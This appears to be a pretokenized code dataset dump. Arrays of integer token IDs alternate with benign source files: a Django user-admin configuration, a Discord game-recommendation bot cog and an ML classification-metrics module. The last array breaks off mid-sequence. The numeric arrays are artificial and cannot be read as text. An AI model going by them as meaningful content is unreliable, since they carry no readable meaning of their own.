29908,
13,
259,
4408,
29901,
7495,
3738,
2208,
29905,
29876,
13,
259,
12953,
29901,
7495,
3738,
2208,
13,
15945,
29908,
13,
13,
15945,
29908,
19737,
15427,
4308,
13,
259,
13361,
29901,
529,
5813,
29958,
13,
259,
19245,
29901,
5399,
365,
2965,
1430,
1660,
934,
13,
15945,
29908,
13,
13,
2277,
2184,
24802,
444,
13,
13,
2277,
9538,
24802,
444,
13,
5215,
1840,
24051,
13,
3166,
2927,
3304,
1053,
28297,
29892,
7437,
29892,
22135,
13,
13,
2277,
8427,
24802,
444,
13,
3166,
282,
952,
326,
552,
2557,
29889,
13248,
29889,
4990,
1053,
17440,
13,
13,
13,
1990,
23001,
3562,
29901,
13,
12,
1753,
4770,
2344,
12035,
1311,
29892,
4839,
29892,
848,
29892,
5253,
29892,
2920,
29922,
29953,
29900,
1125,
13,
12,
12,
2277,
12105,
4839,
1051,
13,
12,
12,
1311,
29889,
7850,
353,
4839,
13,
12,
12,
13,
12,
12,
2277,
12105,
848,
1051,
13,
12,
12,
1311,
29889,
1469,
353,
848,
13,
12,
12,
13,
12,
12,
2277,
24505,
278,
4629,
3858,
1426,
472,
4839,
6763,
13,
12,
12,
1311,
29889,
7850,
29889,
7851,
29898,
29900,
29892,
376,
29990,
1159,
13,
12,
12,
13,
12,
12,
2277,
450,
2920,
310,
278,
1591,
313,
4381,
29871,
29953,
29900,
29897,
13,
12,
12,
1311,
29889,
2103,
353,
2920,
13,
12,
12,
13,
12,
12,
2277,
450,
5253,
304,
1510,
297,
278,
1591,
13,
12,
12,
1311,
29889,
4294,
18087,
353,
5253,
13,
12,
12,
13,
12,
12,
2277,
450,
1813,
304,
1510,
297,
278,
1591,
13,
12,
12,
1311,
29889,
3488,
353,
29871,
29896,
13,
12,
12,
13,
12,
12,
2277,
450,
4629,
1591,
2944,
2380,
13,
12,
12,
1311,
29889,
8391,
3220,
353,
29871,
29896,
13,
12,
12,
13,
12,
12,
2277,
450,
1857,
16384,
1591,
13,
12,
12,
1311,
29889,
2371,
353,
6213,
13,
12,
13,
12,
1753,
4770,
6144,
12035,
1311,
1125,
13,
12,
12,
3364,
13,
12,
13,
12,
1753,
7704,
3562,
29898,
1311,
1125,
13,
12,
12,
2277,
12105,
278,
848,
2302,
13,
12,
12,
1272,
3981,
353,
7431,
29898,
1311,
29889,
1469,
29897,
13,
12,
12,
13,
12,
12,
2277,
5399,
565,
727,
338,
738,
848,
304,
1510,
13,
12,
12,
361,
848,
3981,
529,
29871,
29896,
29901,
13,
12,
12,
12,
9323,
29889,
11816,
703,
8439,
3508,
29915,
29873,
738,
848,
304,
1510,
1159,
13,
12,
12,
12,
2457,
13,
12,
12,
13,
12,
12,
2277,
20535,
403,
278,
1813,
5253,
13,
12,
12,
3488,
3981,
353,
4236,
29898,
1272,
3981,
847,
1583,
29889,
4294,
18087,
29892,
29871,
29896,
29897,
13,
12,
12,
13,
12,
12,
13140,
353,
29871,
29900,
444,
17250,
2380,
13,
12,
12,
2962,
1204,
29916,
353,
1583,
29889,
4294,
18087,
334,
1583,
29889,
3488,
29871,
444,
23748,
2380,
13,
12,
12,
2962,
1204,
29916,
353,
1369,
1204,
29916,
565,
1369,
1204,
29916,
529,
848,
3981,
1683,
29871,
29900,
444,
23748,
2380,
13,
12,
12,
355,
1204,
29916,
353,
1369,
1204,
29916,
718,
1583,
29889,
4294,
18087,
444,
2796,
292,
2380,
13,
12,
12,
355,
1204,
29916,
353,
1095,
1204,
29916,
565,
848,
3981,
1405,
1095,
1204,
29916,
1683,
848,
3981,
444,
2796,
292,
2380,
13,
12,
12,
13,
12,
12,
2997,
8592,
3220,
353,
5135,
1311,
29889,
8391,
3220,
448,
29871,
29896,
29897,
1273,
1583,
29889,
4294,
18087,
29897,
718,
29871,
29896,
13,
12,
12,
13,
12,
12,
2277,
6204,
278,
848,
1591,
2944,
1051,
13,
12,
12,
1272,
3562,
2001,
1293,
353,
5159,
13,
12,
12,
13,
12,
12,
1454,
474,
297,
3464,
29898,
524,
29898,
2962,
1204,
29916,
511,
938,
29898,
355,
1204,
29916,
22164,
13,
12,
12,
12,
2277,
12105,
278,
848,
2944,
491,
2380,
13,
12,
12,
12,
1272,
2001,
353,
1583,
29889,
1469,
29961,
29875,
29962,
13,
12,
12,
12,
13,
12,
12,
12,
2277,
6204,
278,
848,
2944,
1051,
13,
12,
12,
12,
1272,
2001,
1293,
353,
5159,
13,
12,
12,
12,
13,
12,
12,
12,
2277,
512,
1037,
559,
278,
1887,
2380,
13,
12,
12,
12,
13140,
4619,
29871,
29896,
13,
12,
12,
12,
13,
12,
12,
12,
2277,
22871,
278,
2380,
9262,
4660,
13,
12,
12,
12,
1272,
2001,
1293,
29889,
4397,
703,
29916,
29908,
565,
22645,
1275,
1887,
8592,
3220,
1683,
20569,
13,
12,
12,
12,
13,
12,
12,
12,
2277,
22871,
278,
848,
4452,
363,
278,
9262,
322,
5445,
278,
848,
1051,
13,
12,
12,
12,
1454,
2944,
297,
848,
2001,
29901,
13,
12,
12,
12,
12,
1272,
2001,
1293,
29889,
4397,
29898,
667,
29897,
12,
12,
12,
13,
12,
12,
12,
13,
12,
12,
12,
1272,
3562,
2001,
1293,
29889,
4397,
29898,
1272,
2001,
1293,
29897,
13,
12,
12,
13,
12,
12,
2277,
3251,
403,
278,
848,
1591,
491,
1051,
13,
12,
12,
1311,
29889,
2371,
353,
1591,
353,
1840,
24051,
29889,
517,
29918,
1807,
29898,
13,
12,
12,
12,
1272,
3562,
2001,
1293,
29892,
13,
12,
12,
12,
6672,
353,
1583,
29889,
7850,
29892,
13,
12,
12,
12,
3293,
353,
1840,
24051,
29889,
9783,
29889,
294,
18869,
29918,
386,
262,
29918,
8896,
29892,
13,
12,
12,
29897,
13,
12,
12,
13,
12,
12,
2277,
13905,
278,
15303,
848,
1591,
13,
12,
12,
9323,
29889,
11816,
29898,
2371,
29897,
13,
12,
12,
13,
12,
12,
2277,
7704,
278,
1591,
4902,
13,
12,
12,
1311,
29889,
8964,
20245,
4775,
29898,
1311,
29889,
3488,
29892,
1583,
29889,
8391,
3220,
29897,
13,
12,
12,
13,
12,
1753,
7704,
20245,
4775,
29898,
1311,
29892,
1813,
29892,
4629,
3220,
1125,
13,
12,
12,
2277,
17440,
278,
4660,
310,
278,
1591,
11322,
13,
12,
12,
361,
1813,
5277,
29871,
29896,
29901,
13,
12,
12,
12,
9323,
29889,
11816,
877,
25641,
29985,
29929,
29946,
29879,
29913,
4286,
4830,
703,
5074,
1273,
29884,
22584,
29884,
584,
22012,
1273,
29884,
22584,
29884,
891,
1273,
29884,
5099,
29908,
1273,
29871,
13,
12,
12,
12,
12,
12,
12,
313,
3488,
29892,
1583,
17255,
2577,
5074,
3981,
3285,
13,
12,
12,
12,
12,
12,
12,
29871,
4629,
3220,
29892,
1583,
17255,
2577,
2001,
3981,
3285,
1813,
718,
29871,
29896,
4961,
13,
12,
12,
23681,
1813,
6736,
1583,
17255,
2577,
5074,
3981,
7295,
13,
12,
12,
12,
9323,
29889,
11816,
877,
25641,
29985,
29929,
29946,
29879,
29913,
4286,
4830,
703,
9314,
1273,
29884,
891,
9305,
1273,
29884,
22584,
29884,
584,
22012,
1273,
29884,
22584,
29884,
29908,
1273,
29871,
13,
12,
12,
12,
12,
12,
12,
313,
3488,
448,
29871,
29896,
29892,
1813,
29892,
1583,
17255,
2577,
5074,
3981,
3285,
13,
12,
12,
12,
12,
12,
12,
29871,
4629,
3220,
29892,
1583,
17255,
2577,
2001,
3981,
580,
4961,
13,
12,
12,
2870,
29901,
13,
12,
12,
12,
9323,
29889,
11816,
877,
25641,
29985,
29929,
29946,
29879,
29913,
4286,
4830,
703,
9314,
1273,
29884,
891,
9305,
1273,
29884,
22584,
29884,
584,
22012,
1273,
29884,
22584,
29884,
891,
1273,
29884,
5099,
29908,
1273,
29871,
13,
12,
12,
12,
12,
12,
12,
313,
3488,
448,
29871,
29896,
29892,
1813,
29892,
1583,
17255,
2577,
5074,
3981,
3285,
13,
12,
12,
12,
12,
12,
12,
29871,
4629,
3220,
29892,
1583,
17255,
2577,
2001,
3981,
3285,
1813,
718,
29871,
29896,
4961,
13,
12,
12,
13,
12,
12,
2277,
8561,
263,
2913,
304,
16429,
13,
12,
12,
9323,
29889,
11816,
703,
1159,
13,
12,
13,
12,
13,
12,
1753,
4770,
2577,
2001,
3981,
29898,
1311,
1125,
13,
12,
12,
2277,
7106,
278,
848,
2944,
2302,
13,
12,
12,
2457,
7431,
29898,
1311,
29889,
1469,
29897,
13,
12,
13,
12,
1753,
4770,
2577,
5074,
3981,
29898,
1311,
1125,
13,
12,
12,
2277,
20535,
403,
278,
1813,
5253,
13,
12,
12,
3488,
18087,
353,
4236,
29898,
1311,
17255,
2577,
2001,
3981,
580,
847,
1583,
29889,
4294,
18087,
29892,
29871,
29896,
29897,
13,
12,
12,
13,
12,
12,
2277,
7106,
278,
1813,
5253,
13,
12,
12,
2457,
1813,
18087,
13,
12,
13,
12,
1753,
4770,
2577,
8592,
7317,
3220,
7295,
13,
12,
12,
2457,
1583,
29889,
3488,
334,
1583,
29889,
4294,
18087,
718,
1583,
29889,
8391,
3220,
13,
12,
13,
12,
1753,
10726,
8592,
29898,
1311,
29892,
5253,
1125,
13,
12,
12,
2277,
5399,
565,
278,
848,
2944,
5253,
338,
7621,
1135,
278,
848,
2944,
2302,
13,
12,
12,
361,
1583,
29889,
8391,
3220,
718,
5253,
1405,
1583,
17255,
2577,
2001,
3981,
7295,
13,
12,
12,
12,
1311,
29889,
8391,
3220,
353,
1583,
17255,
2577,
2001,
3981,
580,
13,
12,
12,
13,
12,
12,
2277,
5399,
565,
278,
4867,
5253,
338,
3109,
1135,
29871,
29900,
13,
12,
12,
23681,
1583,
29889,
8391,
3220,
718,
5253,
529,
29871,
29896,
29901,
13,
12,
12,
12,
1311,
29889,
8391,
3220,
353,
29871,
29896,
13,
12,
12,
13,
12,
12,
2277,
10726,
278,
4867,
2380,
13,
12,
12,
2870,
29901,
13,
12,
12,
12,
1311,
29889,
8391,
3220,
4619,
5253,
13,
12,
12,
13,
12,
12,
2277,
3599,
284,
1810,
403,
278,
1813,
2380,
13,
12,
12,
361,
1583,
29889,
8391,
3220,
1405,
1583,
29889,
4294,
18087,
29901,
13,
12,
12,
12,
1311,
29889,
3488,
353,
938,
3552,
1311,
29889,
8391,
3220,
448,
29871,
29896,
29897,
847,
1583,
29889,
4294,
18087,
29897,
718,
29871,
29896,
13,
12,
12,
2870,
29901,
13,
12,
12,
12,
1311,
29889,
3488,
353,
29871,
29896,
13,
13,
12,
1753,
10726,
5074,
29898,
1311,
29892,
5253,
1125,
13,
12,
12,
2277,
5399,
565,
278,
1813,
5253,
338,
7621,
1135,
278,
1813,
2302,
13,
12,
12,
361,
1583,
29889,
3488,
718,
5253,
1405,
1583,
17255,
2577,
5074,
3981,
7295,
13,
12,
12,
12,
1311,
29889,
3488,
353,
1583,
17255,
2577,
5074,
3981,
580,
13,
13,
12,
12,
2277,
5399,
565,
278,
1813,
5253,
565,
3109,
1135,
29871,
29900,
13,
12,
12,
23681,
1583,
29889,
3488,
718,
5253,
529,
29871,
29896,
29901,
13,
12,
12,
12,
1311,
29889,
3488,
353,
29871,
29896,
13,
12,
12,
13,
12,
12,
2277,
10726,
278,
1813,
2302,
13,
12,
12,
2870,
29901,
13,
12,
12,
12,
1311,
29889,
3488,
4619,
5253,
13,
12,
12,
13,
12,
12,
2277,
2538,
300,
278,
4629,
2380,
304,
2322,
13,
12,
12,
1311,
29889,
8391,
3220,
353,
313,
1311,
29889,
3488,
448,
29871,
29896,
29897,
334,
1583,
29889,
4294,
18087,
718,
29871,
29896,
13,
12,
13,
12,
2
] |
apps/user/admin.py | OpenAdaptronik/Rattler | 2 | 182219 | """ License
MIT License
Copyright (c) 2017 OpenAdaptronik
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
"""
from django.contrib import admin
from django.contrib.auth import admin as auth_admin
from django.contrib.auth.models import Group
from django.utils.translation import gettext_lazy as _
from .models import User
# Unregister the default group admin model.
admin.site.unregister(Group)
@admin.register(User)
class UserAdmin(auth_admin.UserAdmin):
""" The user admin model.
Overwrites the default django.contrib.auth.admin.UserAdmin
Admin model to manipulate the users in the database.
Attributes:
See django.contrib.auth.models.AbstractUser.
fieldsets: The fieldset to show in the admin.
list_display: The data to show in the user list.
add_fieldsets: The data to show in the user creation.
"""
# Filter Funktion des Users im Profile/admin.py
fieldsets = (
(None, {'fields': ('username', 'email', 'password')}),
(_('permissions'), {'fields': ('is_active', 'is_superuser', 'is_staff')}),
(_('important dates'), {'fields': ('last_login', 'date_joined')}),
(_('name'), {'fields': ('last_name', 'first_name')}),
)
list_display = ('username', 'email', 'is_superuser','is_active', 'date_joined', 'last_login', )
list_filter = ('is_superuser', 'is_active')
add_fieldsets = (
(None, {
'classes': ('wide',),
'fields': ('username', 'email', '<PASSWORD>', '<PASSWORD>'),
}),
)
| [
1,
9995,
19245,
13,
26349,
19245,
13,
13,
11882,
1266,
313,
29883,
29897,
29871,
29906,
29900,
29896,
29955,
4673,
29909,
1388,
415,
1617,
638,
13,
13,
27293,
338,
1244,
1609,
16896,
29892,
3889,
310,
8323,
29892,
304,
738,
2022,
4017,
292,
263,
3509,
13,
974,
445,
7047,
322,
6942,
5106,
2066,
313,
1552,
376,
6295,
14093,
4968,
304,
5376,
13,
262,
278,
18540,
1728,
24345,
29892,
3704,
1728,
29485,
278,
10462,
13,
517,
671,
29892,
3509,
29892,
6623,
29892,
10366,
29892,
9805,
29892,
1320,
2666,
29892,
269,
803,
1947,
29892,
322,
29914,
272,
19417,
13,
9708,
583,
310,
278,
18540,
29892,
322,
304,
14257,
12407,
304,
6029,
278,
18540,
338,
13,
29888,
595,
3276,
304,
437,
577,
29892,
4967,
304,
278,
1494,
5855,
29901,
13,
13,
1576,
2038,
3509,
1266,
8369,
322,
445,
10751,
8369,
4091,
367,
5134,
297,
599,
13,
9708,
583,
470,
23228,
2011,
1080,
310,
278,
18540,
29889,
13,
13,
28350,
7791,
7818,
12982,
1525,
8519,
13756,
13044,
3352,
376,
3289,
8519,
613,
399,
1806,
8187,
2692,
399,
1718,
29934,
13566,
29979,
8079,
13764,
29979,
476,
22255,
29892,
8528,
15094,
1799,
6323,
13,
29902,
3580,
5265,
3352,
29892,
2672,
6154,
15789,
4214,
350,
2692,
6058,
27848,
3352,
7495,
6093,
399,
1718,
29934,
13566,
29059,
8079,
341,
1001,
3210,
13566,
2882,
6227,
11937,
29892,
13,
29943,
1806,
8186,
1799,
15842,
319,
349,
8322,
2965,
13309,
1718,
349,
4574,
13152,
1660,
5300,
405,
1164,
1177,
15860,
1177,
1692,
13780,
29889,
2672,
11698,
382,
29963,
3919,
24972,
9818,
6093,
13,
20656,
29950,
24125,
6323,
315,
4590,
29979,
22789,
3912,
379,
5607,
8032,
29903,
20700,
17705,
6181,
15842,
13764,
29979,
315,
4375,
7833,
29892,
21330,
1529,
1692,
29903,
6323,
438,
29911,
4448,
13,
5265,
2882,
6227,
11937,
29892,
12317,
2544,
4448,
2672,
13764,
319,
9838,
8079,
8707,
29911,
4717,
1783,
29892,
323,
8476,
6323,
438,
29911,
4448,
22119,
1660,
29892,
9033,
3235,
4214,
3895,
29892,
13,
12015,
8079,
6323,
2672,
8707,
8186,
9838,
22659,
6093,
7791,
7818,
12982,
1525,
6323,
6093,
501,
1660,
6323,
438,
29911,
4448,
5012,
1964,
4214,
29903,
2672,
6093,
13,
6156,
7818,
12982,
1525,
29889,
13,
15945,
29908,
13,
13,
3166,
9557,
29889,
21570,
1053,
4113,
13,
3166,
9557,
29889,
21570,
29889,
5150,
1053,
4113,
408,
4817,
29918,
6406,
13,
3166,
9557,
29889,
21570,
29889,
5150,
29889,
9794,
1053,
6431,
13,
13,
3166,
9557,
29889,
13239,
29889,
3286,
18411,
1053,
679,
726,
29918,
433,
1537,
408,
903,
13,
13,
3166,
869,
9794,
1053,
4911,
13,
13,
29937,
853,
9573,
278,
2322,
2318,
4113,
1904,
29889,
13,
6406,
29889,
2746,
29889,
348,
9573,
29898,
4782,
29897,
13,
13,
29992,
6406,
29889,
9573,
29898,
2659,
29897,
13,
1990,
4911,
12754,
29898,
5150,
29918,
6406,
29889,
2659,
12754,
1125,
13,
1678,
9995,
450,
1404,
4113,
1904,
29889,
13,
1678,
6811,
8231,
267,
278,
2322,
9557,
29889,
21570,
29889,
5150,
29889,
6406,
29889,
2659,
12754,
13,
1678,
10229,
1904,
304,
26749,
278,
4160,
297,
278,
2566,
29889,
13,
13,
1678,
6212,
5026,
29901,
13,
4706,
2823,
9557,
29889,
21570,
29889,
5150,
29889,
9794,
29889,
9118,
2659,
29889,
13,
4706,
1746,
7224,
29901,
450,
1746,
842,
304,
1510,
297,
278,
4113,
29889,
13,
4706,
1051,
29918,
4990,
29901,
450,
848,
304,
1510,
297,
278,
1404,
1051,
29889,
13,
4706,
788,
29918,
2671,
7224,
29901,
450,
848,
304,
1510,
297,
278,
1404,
11265,
29889,
13,
1678,
9995,
13,
13,
1678,
396,
19916,
13811,
7066,
553,
23861,
527,
20802,
29914,
6406,
29889,
2272,
13,
13,
1678,
1746,
7224,
353,
313,
13,
4706,
313,
8516,
29892,
11117,
9621,
2396,
6702,
6786,
742,
525,
5269,
742,
525,
5630,
1495,
9594,
13,
4706,
9423,
877,
17858,
6847,
5477,
11117,
9621,
2396,
6702,
275,
29918,
4925,
742,
525,
275,
29918,
9136,
1792,
742,
525,
275,
29918,
303,
3470,
1495,
9594,
13,
4706,
9423,
877,
17001,
10116,
5477,
11117,
9621,
2396,
6702,
4230,
29918,
7507,
742,
525,
1256,
29918,
2212,
1312,
1495,
9594,
13,
4706,
9423,
877,
978,
5477,
11117,
9621,
2396,
6702,
4230,
29918,
978,
742,
525,
4102,
29918,
978,
1495,
9594,
13,
1678,
1723,
13,
13,
1678,
1051,
29918,
4990,
353,
6702,
6786,
742,
525,
5269,
742,
525,
275,
29918,
9136,
1792,
3788,
275,
29918,
4925,
742,
525,
1256,
29918,
2212,
1312,
742,
525,
4230,
29918,
7507,
742,
1723,
13,
1678,
1051,
29918,
4572,
353,
6702,
275,
29918,
9136,
1792,
742,
525,
275,
29918,
4925,
1495,
13,
1678,
788,
29918,
2671,
7224,
353,
313,
13,
4706,
313,
8516,
29892,
426,
13,
9651,
525,
13203,
2396,
6702,
8157,
742,
511,
13,
9651,
525,
9621,
2396,
6702,
6786,
742,
525,
5269,
742,
12801,
25711,
17013,
29958,
742,
12801,
25711,
17013,
29958,
5477,
13,
4706,
500,
511,
13,
1678,
1723,
13,
13,
13,
13,
13,
13,
13,
2
] |
bot/exts/evergreen/recommend_game.py | htudu/seasonalbot | 0 | 194450 | <gh_stars>0
import json
import logging
from pathlib import Path
from random import shuffle
import discord
from discord.ext import commands
log = logging.getLogger(__name__)
game_recs = []
# Populate the list `game_recs` with resource files
for rec_path in Path("bot/resources/evergreen/game_recs").glob("*.json"):
with rec_path.open(encoding='utf-8') as file:
data = json.load(file)
game_recs.append(data)
shuffle(game_recs)
class RecommendGame(commands.Cog):
"""Commands related to recommending games."""
def __init__(self, bot: commands.Bot) -> None:
self.bot = bot
self.index = 0
@commands.command(name="recommendgame", aliases=['gamerec'])
async def recommend_game(self, ctx: commands.Context) -> None:
"""Sends an Embed of a random game recommendation."""
if self.index >= len(game_recs):
self.index = 0
shuffle(game_recs)
game = game_recs[self.index]
self.index += 1
author = self.bot.get_user(int(game['author']))
# Creating and formatting Embed
embed = discord.Embed(color=discord.Colour.blue())
if author is not None:
embed.set_author(name=author.name, icon_url=author.avatar_url)
embed.set_image(url=game['image'])
embed.add_field(name='Recommendation: ' + game['title'] + '\n' + game['link'], value=game['description'])
await ctx.send(embed=embed)
def setup(bot: commands.Bot) -> None:
"""Loads the RecommendGame cog."""
bot.add_cog(RecommendGame(bot))
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
5215,
4390,
13,
5215,
12183,
13,
3166,
2224,
1982,
1053,
10802,
13,
3166,
4036,
1053,
528,
21897,
13,
13,
5215,
2313,
536,
13,
3166,
2313,
536,
29889,
1062,
1053,
8260,
13,
13,
1188,
353,
12183,
29889,
657,
16363,
22168,
978,
1649,
29897,
13,
11802,
29918,
276,
2395,
353,
5159,
13,
13,
29937,
6977,
5987,
278,
1051,
421,
11802,
29918,
276,
2395,
29952,
411,
6503,
2066,
13,
1454,
1162,
29918,
2084,
297,
10802,
703,
7451,
29914,
13237,
29914,
1310,
12692,
29914,
11802,
29918,
276,
2395,
2564,
23705,
703,
10521,
3126,
29908,
1125,
13,
1678,
411,
1162,
29918,
2084,
29889,
3150,
29898,
22331,
2433,
9420,
29899,
29947,
1495,
408,
934,
29901,
13,
4706,
848,
353,
4390,
29889,
1359,
29898,
1445,
29897,
13,
1678,
3748,
29918,
276,
2395,
29889,
4397,
29898,
1272,
29897,
13,
845,
21897,
29898,
11802,
29918,
276,
2395,
29897,
13,
13,
13,
1990,
830,
2055,
355,
14199,
29898,
26381,
29889,
29907,
468,
1125,
13,
1678,
9995,
5261,
4167,
4475,
304,
5052,
2548,
8090,
1213,
15945,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
9225,
29901,
8260,
29889,
29933,
327,
29897,
1599,
6213,
29901,
13,
4706,
1583,
29889,
7451,
353,
9225,
13,
4706,
1583,
29889,
2248,
353,
29871,
29900,
13,
13,
1678,
732,
26381,
29889,
6519,
29898,
978,
543,
276,
2055,
355,
11802,
613,
14430,
2129,
29922,
1839,
29887,
314,
406,
29883,
11287,
13,
1678,
7465,
822,
6907,
29918,
11802,
29898,
1311,
29892,
12893,
29901,
8260,
29889,
2677,
29897,
1599,
6213,
29901,
13,
4706,
9995,
29903,
1975,
385,
2812,
2580,
310,
263,
4036,
3748,
29303,
1213,
15945,
13,
4706,
565,
1583,
29889,
2248,
6736,
7431,
29898,
11802,
29918,
276,
2395,
1125,
13,
9651,
1583,
29889,
2248,
353,
29871,
29900,
13,
9651,
528,
21897,
29898,
11802,
29918,
276,
2395,
29897,
13,
4706,
3748,
353,
3748,
29918,
276,
2395,
29961,
1311,
29889,
2248,
29962,
13,
4706,
1583,
29889,
2248,
4619,
29871,
29896,
13,
13,
4706,
4148,
353,
1583,
29889,
7451,
29889,
657,
29918,
1792,
29898,
524,
29898,
11802,
1839,
8921,
25901,
13,
13,
4706,
396,
26221,
322,
15998,
2812,
2580,
13,
4706,
8297,
353,
2313,
536,
29889,
6026,
2580,
29898,
2780,
29922,
2218,
16090,
29889,
1625,
473,
29889,
9539,
3101,
13,
4706,
565,
4148,
338,
451,
6213,
29901,
13,
9651,
8297,
29889,
842,
29918,
8921,
29898,
978,
29922,
8921,
29889,
978,
29892,
9849,
29918,
2271,
29922,
8921,
29889,
485,
14873,
29918,
2271,
29897,
13,
4706,
8297,
29889,
842,
29918,
3027,
29898,
2271,
29922,
11802,
1839,
3027,
11287,
13,
4706,
8297,
29889,
1202,
29918,
2671,
29898,
978,
2433,
1123,
2055,
355,
362,
29901,
525,
718,
3748,
1839,
3257,
2033,
718,
11297,
29876,
29915,
718,
3748,
1839,
2324,
7464,
995,
29922,
11802,
1839,
8216,
11287,
13,
13,
4706,
7272,
12893,
29889,
6717,
29898,
17987,
29922,
17987,
29897,
13,
13,
13,
1753,
6230,
29898,
7451,
29901,
8260,
29889,
29933,
327,
29897,
1599,
6213,
29901,
13,
1678,
9995,
5896,
29879,
278,
830,
2055,
355,
14199,
274,
468,
1213,
15945,
13,
1678,
9225,
29889,
1202,
29918,
29883,
468,
29898,
1123,
2055,
355,
14199,
29898,
7451,
876,
13,
2
] |
alchemy/train/no_deps/metrics.py | edu-gp/annotation_tool | 2 | 88488 | <filename>alchemy/train/no_deps/metrics.py
import pandas as pd
from sklearn.metrics import (
confusion_matrix,
precision_recall_fscore_support,
roc_auc_score,
average_precision_score,
)
from .paths import _get_config_fname, _get_exported_data_fname
from .utils import _prepare_data
class InferenceMetrics:
def __init__(self, df):
"""
Inputs:
df: A dataframe with at least columns ['text', 'probs'],
representing the inference outputs from a model.
"""
assert "text" in df.columns
assert "probs" in df.columns
df = df[["text", "probs"]].drop_duplicates(subset=["text"], keep="first")
self.df = df
def compute_metrics(self, X, y, threshold):
"""
Inputs:
X: A list of text
y: A list of ground truth binary labels \in {0,1}
threshold: The cutoff threshold for this binary classifier \in [0,1]
Returns:
stats: A dictionary of stats
not_found: A list of strings that were in `X` but not in `self.df`.
"""
not_found = []
res = pd.DataFrame(zip(X, y), columns=["text", "y"])
res = res.merge(self.df, on="text", how="left")
not_found += list(res[res["probs"].isna()]["text"])
res = res.dropna(subset=["probs"])
res["preds"] = (res["probs"] > threshold).astype(int)
pr, re, f1, su = precision_recall_fscore_support(res["y"], res["preds"])
pr = list(pr)
re = list(re)
f1 = list(f1)
su = list(su)
if not pr:
pr = [float("nan"), float("nan")]
if not re:
re = [float("nan"), float("nan")]
if not f1:
f1 = [float("nan"), float("nan")]
if not su:
su = [float("nan"), float("nan")]
try:
ro = roc_auc_score(res["y"], res["probs"])
except ValueError:
ro = float("nan")
try:
aupr = average_precision_score(res["y"], res["probs"])
except ValueError and IndexError:
aupr = float("nan")
try:
tn, fp, fn, tp = confusion_matrix(res["y"], res["preds"]).ravel()
except ValueError:
tn = fp = fn = tp = float("nan")
stats = {
"pr": pr,
"re": re,
"f1": f1,
"su": su,
"ro": ro,
"aupr": aupr,
"tn": tn,
"fp": fp,
"fn": fn,
"tp": tp,
}
return stats, not_found
def compute_metrics(version_dir, inference_lookup_df, threshold: float = 0.5):
"""
Inputs:
version_dir: Directory of the model.
inference_lookup_df: A pandas dataframe with 2 cols ['text', 'probs']
containing the inference results from a model.
threshold: The cutoff threshold for this binary classifier \in [0,1]
Returns:
{
"train": {
"pr": [neg_class:float, pos_class:float],
"re": [neg_class:float, pos_class:float],
"f1": [neg_class:float, pos_class:float],
"su": [neg_class:int, pos_class:int],
"ro": float,
"aupr": float,
"tn": int (count),
"tp": int (count),
"fn": int (count),
"fp": int (count),
},
"test": {
# same stats as train
}
"not_found": List[str] of examples we couldn't get inference for
}
Where the keys stand for:
- pr: Precision
- re: Recall
- f1: F1 Score
- su: Support, the number of items considered for this metric
- ro: ROC AUC
- aupr: AUPR
- tn: True Negative
- tp: True Positive
- fn: False Negative
- fp: False Positive
Will return an object with sensible defaults if the metrics cannot be
computed (e.g. if model has not been trained).
"""
config_fname = _get_config_fname(version_dir)
data_fname = _get_exported_data_fname(version_dir)
_, _, X_train, y_train, X_test, y_test = _prepare_data(config_fname, data_fname)
im = InferenceMetrics(inference_lookup_df)
tr_stats, tr_not_found = im.compute_metrics(X_train, y_train, threshold)
ts_stats, ts_not_found = im.compute_metrics(X_test, y_test, threshold)
stats = {
"train": tr_stats,
"test": ts_stats,
"not_found": tr_not_found + ts_not_found,
}
return stats
| [
1,
529,
9507,
29958,
284,
305,
6764,
29914,
14968,
29914,
1217,
29918,
311,
567,
29914,
2527,
10817,
29889,
2272,
13,
5215,
11701,
408,
10518,
13,
3166,
2071,
19668,
29889,
2527,
10817,
1053,
313,
13,
1678,
14679,
29918,
5344,
29892,
13,
1678,
16716,
29918,
3757,
497,
29918,
29888,
13628,
29918,
5924,
29892,
13,
1678,
696,
29883,
29918,
14766,
29918,
13628,
29892,
13,
1678,
6588,
29918,
17990,
2459,
29918,
13628,
29892,
13,
29897,
13,
13,
3166,
869,
24772,
1053,
903,
657,
29918,
2917,
29918,
29888,
978,
29892,
903,
657,
29918,
15843,
287,
29918,
1272,
29918,
29888,
978,
13,
3166,
869,
13239,
1053,
903,
19125,
29918,
1272,
13,
13,
13,
1990,
512,
1659,
10095,
10817,
29901,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
4489,
1125,
13,
4706,
9995,
13,
4706,
10567,
29879,
29901,
13,
9651,
4489,
29901,
319,
12205,
411,
472,
3203,
4341,
6024,
726,
742,
525,
771,
5824,
7464,
13,
18884,
15783,
278,
27262,
14391,
515,
263,
1904,
29889,
13,
4706,
9995,
13,
4706,
4974,
376,
726,
29908,
297,
4489,
29889,
13099,
13,
4706,
4974,
376,
771,
5824,
29908,
297,
4489,
29889,
13099,
13,
4706,
4489,
353,
4489,
29961,
3366,
726,
613,
376,
771,
5824,
3108,
1822,
8865,
29918,
20908,
15815,
29898,
6484,
29922,
3366,
726,
12436,
3013,
543,
4102,
1159,
13,
4706,
1583,
29889,
2176,
353,
4489,
13,
13,
1678,
822,
10272,
29918,
2527,
10817,
29898,
1311,
29892,
1060,
29892,
343,
29892,
16897,
1125,
13,
4706,
9995,
13,
4706,
10567,
29879,
29901,
13,
9651,
1060,
29901,
319,
1051,
310,
1426,
13,
9651,
343,
29901,
319,
1051,
310,
5962,
8760,
7581,
11073,
320,
262,
426,
